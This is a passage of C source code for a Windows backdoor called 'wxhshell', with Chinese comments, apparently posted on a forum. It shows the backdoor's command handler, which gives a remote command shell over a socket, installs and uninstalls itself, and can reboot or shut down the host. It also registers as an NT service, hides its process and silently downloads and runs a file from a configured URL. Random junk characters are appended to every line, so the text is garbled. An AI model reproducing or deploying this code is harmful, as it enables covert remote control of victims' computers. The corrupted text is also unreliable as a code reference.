  // 帮助 *OIBMx#qxn  
  case '?': { ZU;jz[}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F6b;qb6n  
    break; }qWB=,8HQ  
  } Qw }1mRv  
  // 安装 Zb|a\z8?  
  case 'i': { Mn<s9ITS-  
    if(Install()) @`8a 3sL)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?Zk;NL9  
    else pd & HC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R@/"B?`(f  
    break; >3&V"^r(|  
    } 3 `mtc@*  
  // 卸载 >,I'S2_Zl  
  case 'r': { #6l(2d  
    if(Uninstall()) O6ugN-d>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  M%W#0  
    else 7s!rer>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }$r]\v  
    break; N93R(x)%  
    } xU6dRjYhH9  
  // 显示 wxhshell 所在路径 TeO'E<@  
  case 'p': { kHhku!CH  
    char svExeFile[MAX_PATH]; ^U96p0H"T  
    strcpy(svExeFile,"\n\r"); e@ $|xa")  
      strcat(svExeFile,ExeFile); oA7|s1  
        send(wsh,svExeFile,strlen(svExeFile),0); N 7Y X  
    break;  Zy8tI#  
    } U~t!   
  // 重启 ]VE3u_kR  
  case 'b': { o~q.j_Sa  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -5|el3%)  
    if(Boot(REBOOT)) %6m' |(-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KrHKM3<  
    else { 9zrTf%m F  
    closesocket(wsh); vts"  
    ExitThread(0); c': 4e)  
    } 1<MJ3"60  
    break; }gB^C3b6  
    } hY !>>  
  // 关机 ccp9nXv  
  case 'd': { $J,$_O6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J&}1=s  
    if(Boot(SHUTDOWN)) V@TA~'$|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Ffvd{+:8  
    else { 7~'%ThUb$-  
    closesocket(wsh); LnN:;h  
    ExitThread(0); B., BP  
    } JG1q5j##]b  
    break; s0/m qZ]s  
    } 2tCw{Om*  
  // 获取shell VB T 66kV  
  case 's': { W tHJG5  
    CmdShell(wsh); 1$6 u  
    closesocket(wsh); MpvGF7H  
    ExitThread(0); _@gg,2 u-  
    break; }9#GJ:x`  
  } F:[[@~z  
  // 退出 L~by`q N_  
  case 'x': { jG)66E*"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w(t1m]pF[  
    CloseIt(wsh); nn$^iw`  
    break; >i.$s  
    } jO|`aUY Tf  
  // 离开 yf`_?gJ6d  
  case 'q': {  cz>)6#&O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); TBba3%  
    closesocket(wsh); #F2DEo^0  
    WSACleanup(); burSb:JF  
    exit(1); kM=&Tfpj  
    break; R!WDQGR(2  
        } AN[pjC<  
  } pS7y3(_  
  } 61OlnmvE  
Gl45HyY_  
  // 提示信息 I,,SR"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aRI.&3-  
} _5O~ ]}  
  } % W|Sl  
MPyDG"B*  
  return; A&%7Z^Pp  
} SkVah:cF-  
DB_oRr[oj  
// shell模块句柄 ) =x4+)9  
int CmdShell(SOCKET sock) 589fr"Ma,6  
{ j \d)#+;  
STARTUPINFO si; Zy:q)'D=  
ZeroMemory(&si,sizeof(si)); K V?+9qa,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @Gw]cm  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6"}F KRR  
PROCESS_INFORMATION ProcessInfo; EM +! ph  
char cmdline[]="cmd"; kApDD[ N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8oRq3"  
  return 0; P c5C*{C  
} |E||e10wR  
uGW#z_{(n  
// 自身启动模式 B> \q!dX3  
int StartFromService(void) 0oBAJP  
{ 0]]OE+9<c  
typedef struct [eTEK W]  
{ o8%o68py  
  DWORD ExitStatus; MTgf.  
  DWORD PebBaseAddress; [z= !OFdE  
  DWORD AffinityMask; ZC<EPUV(  
  DWORD BasePriority; 2bw.mp&v1  
  ULONG UniqueProcessId; p:{L fQ  
  ULONG InheritedFromUniqueProcessId; -4F}I3I  
}   PROCESS_BASIC_INFORMATION; T('rM :)/  
lb=fS%  
PROCNTQSIP NtQueryInformationProcess; ,pf\g[tz  
h<PS<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $*P +   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XbFo#Pwk  
@ptrF pSL  
  HANDLE             hProcess; [O!/hppN  
  PROCESS_BASIC_INFORMATION pbi; ?6x&A t  
yGC HWP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }NdLd!  
  if(NULL == hInst ) return 0; |o(te  
f.oY:3h:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m6 xbO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M\IdQY-c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); oblw!)  
n:s _2h(u  
  if (!NtQueryInformationProcess) return 0; m c@Z+t'  
1Ak0A6E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); een62-`  
  if(!hProcess) return 0; w( @QRd{  
Fy$ C._C$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T<y fpUzX  
~G6xk/+n-m  
  CloseHandle(hProcess); /6n"$qon6  
@$$ J}~{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  dBN:  
if(hProcess==NULL) return 0; 0%IZ -])  
bun_R-  
HMODULE hMod; /6\uBy"Xt  
char procName[255]; ?@Tsd@s~r  
unsigned long cbNeeded; #,})N*7  
gQY`qz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _ |HA\!  
$`0,N_C<}  
  CloseHandle(hProcess); M;KeY[u  
u3 &# UN  
if(strstr(procName,"services")) return 1; // 以服务启动 $~ d6KFT  
[" ocZ? x  
  return 0; // 注册表启动 ('d,Sh  
} ;4v`FC>  
7.n\a@I/  
// 主模块 w&]$!g4  
int StartWxhshell(LPSTR lpCmdLine) `7V1 F.\  
{ PtL8Kd0`C  
  SOCKET wsl; .uN(44^+x  
BOOL val=TRUE; uLI;_,/:  
  int port=0; JZ-64OT  
  struct sockaddr_in door; G[OJ <px  
qk0cf~ gz  
  if(wscfg.ws_autoins) Install(); c@4$)68  
2t{Tz}g*  
port=atoi(lpCmdLine); XZ8]se"C  
6KN6SN$  
if(port<=0) port=wscfg.ws_port; zd F;!  
e-lc2$o7{  
  WSADATA data; !I91kJt7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0YoV`D,U  
R7FI{ A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u-V( 2?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _l,-S Qgj  
  door.sin_family = AF_INET; g^i\7'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M$6; &T  
  door.sin_port = htons(port); B LZ<"npn  
 _Vc4F_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TvRm 7  
closesocket(wsl); vn@sPT  
return 1; wW<u)|>ye  
} uX1{K%^<TW  
,eqRI>,\  
  if(listen(wsl,2) == INVALID_SOCKET) { X?`mYoe  
closesocket(wsl); M%SNq|Lo  
return 1; nKTi"2dm  
} a785xSUV  
  Wxhshell(wsl); Wm)Id_  
  WSACleanup(); I: MrX  
uOd1:\%*  
return 0; 0+w(cf~6  
gh^w !tH3  
} 3 "Qg"\  
?TmVLny  
// 以NT服务方式启动 -|=)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v+<4?]EJ  
{ e?]HNy  
DWORD   status = 0; *r!qxiY= r  
  DWORD   specificError = 0xfffffff; 3z"%ht~;  
: 'jVA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 87+u` ~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Dx9k%G)!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5,Co(K  
  serviceStatus.dwWin32ExitCode     = 0; jz\>VYi(7  
  serviceStatus.dwServiceSpecificExitCode = 0; 6hXh;-U  
  serviceStatus.dwCheckPoint       = 0; 6_g6e2F  
  serviceStatus.dwWaitHint       = 0; {e., $'#  
`sd H q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w2r* $Q  
  if (hServiceStatusHandle==0) return; ,1v FX$  
v Et+^3=  
status = GetLastError(); r& :v(  
  if (status!=NO_ERROR) yK_$d0ZGE~  
{ kmu7~&75  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ( "<4Ry.u  
    serviceStatus.dwCheckPoint       = 0; J10&iCr{r*  
    serviceStatus.dwWaitHint       = 0; W3R43>$  
    serviceStatus.dwWin32ExitCode     = status; GW.Y= S  
    serviceStatus.dwServiceSpecificExitCode = specificError; *WWDwY@!u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5T'v iG}%  
    return; )"E1/$*k  
  } %GMCyT  
C MGDg}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;H?tcb*  
  serviceStatus.dwCheckPoint       = 0; VZ9`Kbu  
  serviceStatus.dwWaitHint       = 0; VQ+G.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b,(<74!#8  
} v~YGef;D  
ykGA.wo7/P  
// 处理NT服务事件,比如:启动、停止 Ffd;aZ4n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]XYD2fR2qA  
{ R+Ug;r-[  
switch(fdwControl) 7!6v4ZA  
{ +.*=Fn22  
case SERVICE_CONTROL_STOP: )R"UX:Q>  
  serviceStatus.dwWin32ExitCode = 0; zzT4+wy`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A "'h0D  
  serviceStatus.dwCheckPoint   = 0; 1IK*j +%  
  serviceStatus.dwWaitHint     = 0; F9q!Upr_+  
  { aQj6XG u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H*",'`|-  
  } W4nhPH(  
  return; ;g<y{o"Q3p  
case SERVICE_CONTROL_PAUSE: OgCNq W d-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SkU9iW(k  
  break; N#X* 0i"  
case SERVICE_CONTROL_CONTINUE: i> {0h3Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @U =~ c9  
  break; gaE8\JSr  
case SERVICE_CONTROL_INTERROGATE: =}SLQdT  
  break; J@ 8OU  
}; g}*p(Tp9:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )k4&S{=  
} ~!/agLwY  
 ?H8dyQ5"  
// 标准应用程序主函数 Z07n>|WF-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LvL2[xh%&  
{ 7<X!Xok  
lKS 2OOYC`  
// 获取操作系统版本 : TqeVf  
OsIsNt=GetOsVer(); NK%Ok  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FbW$H]C$  
;i ?R+T  
  // 从命令行安装 iD>H{1 h  
  if(strpbrk(lpCmdLine,"iI")) Install(); NpS =_QeNw  
IPt !gSp  
  // 下载执行文件 (Hs,Tj  
if(wscfg.ws_downexe) { 'GLpSWL+*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QEF$Jx  
  WinExec(wscfg.ws_filenam,SW_HIDE); (!9+QXb'  
} `9|Uu#x  
H9WXp&  
if(!OsIsNt) { qGP}  
// 如果时win9x,隐藏进程并且设置为注册表启动 I(Vg  
HideProc(); j%8 1q  
StartWxhshell(lpCmdLine); l}D /1~d  
} z<9Llew^e  
else '7.4!I0'  
  if(StartFromService()) ( F4c0  
  // 以服务方式启动  gq} c  
  StartServiceCtrlDispatcher(DispatchTable); g)IW9q2  
else UM^~a$t  
  // 普通方式启动 8<=sUO  
  StartWxhshell(lpCmdLine); 0*AXd=)"*  
9 {IDw   
return 0; R|_._Btu!  
}
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只看该作者 1 发表于: 2006-10-10
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